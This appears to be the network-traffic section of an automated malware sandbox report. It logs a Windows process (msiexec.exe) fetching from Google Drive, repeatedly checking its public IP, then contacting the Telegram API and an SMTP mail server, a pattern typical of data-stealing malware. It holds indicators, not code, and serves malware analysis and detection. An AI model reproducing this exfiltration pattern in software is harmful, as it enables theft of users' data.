Oct 22, 2024 16:04:21.521186113 CEST	49713	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:21.524225950 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:21.525346041 CEST	49714	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:21.529947042 CEST	80	49711	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:21.530145884 CEST	49711	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:21.530708075 CEST	80	49714	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:21.530924082 CEST	49714	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:21.530924082 CEST	49714	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:21.536267042 CEST	80	49714	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:22.201797009 CEST	80	49714	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:22.204072952 CEST	49715	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:22.204101086 CEST	443	49715	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:22.204149961 CEST	49715	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:22.204593897 CEST	49715	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:22.204612017 CEST	443	49715	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:22.249021053 CEST	49714	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:22.811554909 CEST	443	49715	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:22.813014030 CEST	49715	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:22.813045979 CEST	443	49715	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:22.954464912 CEST	443	49715	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:22.954565048 CEST	443	49715	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:22.954643011 CEST	49715	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:22.955120087 CEST	49715	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:22.959446907 CEST	49716	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:22.964894056 CEST	80	49716	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:22.965044022 CEST	49716	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:22.965133905 CEST	49716	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:22.970586061 CEST	80	49716	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:23.627620935 CEST	80	49716	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:23.628845930 CEST	49717	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:23.628889084 CEST	443	49717	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:23.628971100 CEST	49717	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:23.629194975 CEST	49717	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:23.629205942 CEST	443	49717	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:23.670921087 CEST	49716	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:24.236854076 CEST	443	49717	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:24.238507032 CEST	49717	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:24.238544941 CEST	443	49717	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:24.382797003 CEST	443	49717	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:24.382924080 CEST	443	49717	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:24.382989883 CEST	49717	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:24.383486986 CEST	49717	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:24.387118101 CEST	49716	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:24.388328075 CEST	49718	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:24.392925978 CEST	80	49716	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:24.393023968 CEST	49716	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:24.393682957 CEST	80	49718	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:24.393773079 CEST	49718	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:24.393897057 CEST	49718	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:24.399233103 CEST	80	49718	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:25.238945007 CEST	80	49718	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:25.241086960 CEST	49719	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:25.241153002 CEST	443	49719	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:25.241211891 CEST	49719	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:25.241617918 CEST	49719	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:25.241631031 CEST	443	49719	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:25.291538000 CEST	49718	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:25.880044937 CEST	443	49719	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:25.882128954 CEST	49719	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:25.882164001 CEST	443	49719	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:26.027864933 CEST	443	49719	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:26.027971983 CEST	443	49719	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:26.028069973 CEST	49719	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:26.028506994 CEST	49719	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:26.032098055 CEST	49718	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:26.033636093 CEST	49720	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:26.038079023 CEST	80	49718	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:26.038181067 CEST	49718	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:26.039117098 CEST	80	49720	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:26.039199114 CEST	49720	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:26.039328098 CEST	49720	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:26.044672966 CEST	80	49720	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:26.703584909 CEST	80	49720	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:26.704999924 CEST	49721	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:26.705060959 CEST	443	49721	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:26.705173969 CEST	49721	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:26.705416918 CEST	49721	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:26.705426931 CEST	443	49721	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:26.749053001 CEST	49720	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:27.320470095 CEST	443	49721	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:27.321974993 CEST	49721	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:27.322007895 CEST	443	49721	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:27.464806080 CEST	443	49721	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:27.464920044 CEST	443	49721	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:27.464975119 CEST	49721	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:27.465465069 CEST	49721	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:27.468904018 CEST	49720	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:27.469589949 CEST	49722	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:27.474997044 CEST	80	49722	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:27.475188017 CEST	80	49720	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:27.475234985 CEST	49722	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:27.475265980 CEST	49720	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:27.475423098 CEST	49722	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:27.484105110 CEST	80	49722	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:28.137046099 CEST	80	49722	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:28.140610933 CEST	49723	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:28.140664101 CEST	443	49723	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:28.140749931 CEST	49723	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:28.146194935 CEST	49723	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:28.146209002 CEST	443	49723	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:28.186511040 CEST	49722	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:28.762384892 CEST	443	49723	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:28.763837099 CEST	49723	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:28.763866901 CEST	443	49723	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:28.905388117 CEST	443	49723	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:28.905505896 CEST	443	49723	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:28.905570030 CEST	49723	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:28.906043053 CEST	49723	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:28.909512043 CEST	49722	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:28.910737991 CEST	49724	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:28.915617943 CEST	80	49722	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:28.915720940 CEST	49722	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:28.916182041 CEST	80	49724	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:28.916289091 CEST	49724	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:28.916474104 CEST	49724	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:28.921853065 CEST	80	49724	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:29.574677944 CEST	80	49724	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:29.576064110 CEST	49725	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:29.576108932 CEST	443	49725	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:29.576216936 CEST	49725	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:29.576499939 CEST	49725	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:29.576510906 CEST	443	49725	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:29.624943018 CEST	49724	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:30.173655987 CEST	443	49725	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:30.175339937 CEST	49725	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:30.175385952 CEST	443	49725	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:30.315337896 CEST	443	49725	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:30.315428972 CEST	443	49725	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:30.315509081 CEST	49725	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:30.315964937 CEST	49725	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:30.319032907 CEST	49724	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:30.319777012 CEST	49726	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:30.324909925 CEST	80	49724	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:30.325028896 CEST	49724	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:30.325551987 CEST	80	49726	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:30.325628996 CEST	49726	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:30.325721025 CEST	49726	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:30.331250906 CEST	80	49726	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:30.988492966 CEST	80	49726	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:31.029916048 CEST	49727	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:31.029967070 CEST	443	49727	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:31.030067921 CEST	49727	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:31.030268908 CEST	49726	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:31.030535936 CEST	49727	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:31.030546904 CEST	443	49727	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:31.646409988 CEST	443	49727	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:31.647941113 CEST	49727	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:31.647963047 CEST	443	49727	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:31.792936087 CEST	443	49727	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:31.793045998 CEST	443	49727	188.114.97.3	192.168.2.10
Oct 22, 2024 16:04:31.793176889 CEST	49727	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:31.793632984 CEST	49727	443	192.168.2.10	188.114.97.3
Oct 22, 2024 16:04:31.822829962 CEST	49726	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:31.828690052 CEST	80	49726	193.122.130.0	192.168.2.10
Oct 22, 2024 16:04:31.828923941 CEST	49726	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:31.830674887 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:31.830712080 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:31.831253052 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:31.831716061 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:31.831727982 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.663609028 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.663738012 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:32.666831017 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:32.666847944 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.667126894 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.668617964 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:32.711343050 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.902990103 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.903064966 CEST	443	49728	149.154.167.220	192.168.2.10
Oct 22, 2024 16:04:32.903153896 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:32.905893087 CEST	49728	443	192.168.2.10	149.154.167.220
Oct 22, 2024 16:04:38.817065954 CEST	49714	80	192.168.2.10	193.122.130.0
Oct 22, 2024 16:04:39.038866043 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:39.044279099 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:39.044500113 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:39.782625914 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:39.787214994 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:39.792679071 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.036479950 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.036618948 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:40.041965961 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.291269064 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.291817904 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:40.298890114 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.548450947 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.548522949 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.548558950 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.548585892 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:40.551434994 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:40.558651924 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.801074982 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:40.803610086 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:40.809405088 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.055737019 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.056462049 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:41.062128067 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.373395920 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.374100924 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:41.379498005 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.689507008 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.689893961 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:41.695252895 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.939440966 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.940094948 CEST	49729	587	192.168.2.10	213.165.67.118
Oct 22, 2024 16:04:41.946177006 CEST	587	49729	213.165.67.118	192.168.2.10
Oct 22, 2024 16:04:41.946259022 CEST	49729	587	192.168.2.10	213.165.67.118

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 16:04:12.889697075 CEST	57120	53	192.168.2.10	1.1.1.1
Oct 22, 2024 16:04:12.898243904 CEST	53	57120	1.1.1.1	192.168.2.10
Oct 22, 2024 16:04:14.224435091 CEST	54912	53	192.168.2.10	1.1.1.1
Oct 22, 2024 16:04:14.232245922 CEST	53	54912	1.1.1.1	192.168.2.10
Oct 22, 2024 16:04:18.449758053 CEST	62130	53	192.168.2.10	1.1.1.1
Oct 22, 2024 16:04:18.457161903 CEST	53	62130	1.1.1.1	192.168.2.10
Oct 22, 2024 16:04:19.574568987 CEST	59112	53	192.168.2.10	1.1.1.1
Oct 22, 2024 16:04:19.799618959 CEST	53	59112	1.1.1.1	192.168.2.10
Oct 22, 2024 16:04:31.822679996 CEST	63612	53	192.168.2.10	1.1.1.1
Oct 22, 2024 16:04:31.829875946 CEST	53	63612	1.1.1.1	192.168.2.10
Oct 22, 2024 16:04:39.026559114 CEST	56678	53	192.168.2.10	1.1.1.1
Oct 22, 2024 16:04:39.036209106 CEST	53	56678	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 22, 2024 16:04:12.889697075 CEST	192.168.2.10	1.1.1.1	0x5342	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:14.224435091 CEST	192.168.2.10	1.1.1.1	0xf1a3	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:18.449758053 CEST	192.168.2.10	1.1.1.1	0xdf59	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:19.574568987 CEST	192.168.2.10	1.1.1.1	0xe66d	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:31.822679996 CEST	192.168.2.10	1.1.1.1	0x5711	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:39.026559114 CEST	192.168.2.10	1.1.1.1	0xb038	Standard query (0)	smtp.ionos.es	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 22, 2024 16:04:12.898243904 CEST	1.1.1.1	192.168.2.10	0x5342	No error (0)	drive.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:14.232245922 CEST	1.1.1.1	192.168.2.10	0xf1a3	No error (0)	drive.usercontent.google.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:18.457161903 CEST	1.1.1.1	192.168.2.10	0xdf59	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 22, 2024 16:04:18.457161903 CEST	1.1.1.1	192.168.2.10	0xdf59	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:18.457161903 CEST	1.1.1.1	192.168.2.10	0xdf59	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:18.457161903 CEST	1.1.1.1	192.168.2.10	0xdf59	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:18.457161903 CEST	1.1.1.1	192.168.2.10	0xdf59	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:18.457161903 CEST	1.1.1.1	192.168.2.10	0xdf59	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:19.799618959 CEST	1.1.1.1	192.168.2.10	0xe66d	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:19.799618959 CEST	1.1.1.1	192.168.2.10	0xe66d	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:31.829875946 CEST	1.1.1.1	192.168.2.10	0x5711	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:39.036209106 CEST	1.1.1.1	192.168.2.10	0xb038	No error (0)	smtp.ionos.es		213.165.67.118	A (IP address)	IN (0x0001)	false
Oct 22, 2024 16:04:39.036209106 CEST	1.1.1.1	192.168.2.10	0xb038	No error (0)	smtp.ionos.es		213.165.67.102	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49711	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:18.466597080 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:19.138335943 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:19 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5a6ffafab35e5eef46b990c6698be328 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>
Oct 22, 2024 16:04:19.142839909 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:04:19.301644087 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:19 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8d722c2c84e8c4a30d780806d1c5cb83 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>
Oct 22, 2024 16:04:20.598944902 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:04:20.758388996 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:20 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a9ef2b7f86de2fae8089c6b87526b6a7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49714	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:21.530924082 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 22, 2024 16:04:22.201797009 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:22 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2cd51c09179355f5efef49b69f3ac6fa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49716	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 16:04:22.965133905 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 22, 2024 16:04:23.627620935 CEST	323	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 14:04:23 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 29019096fc92f2deb56b0d9331c044cb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.76</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49718	193.122.130.0	80	6624	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
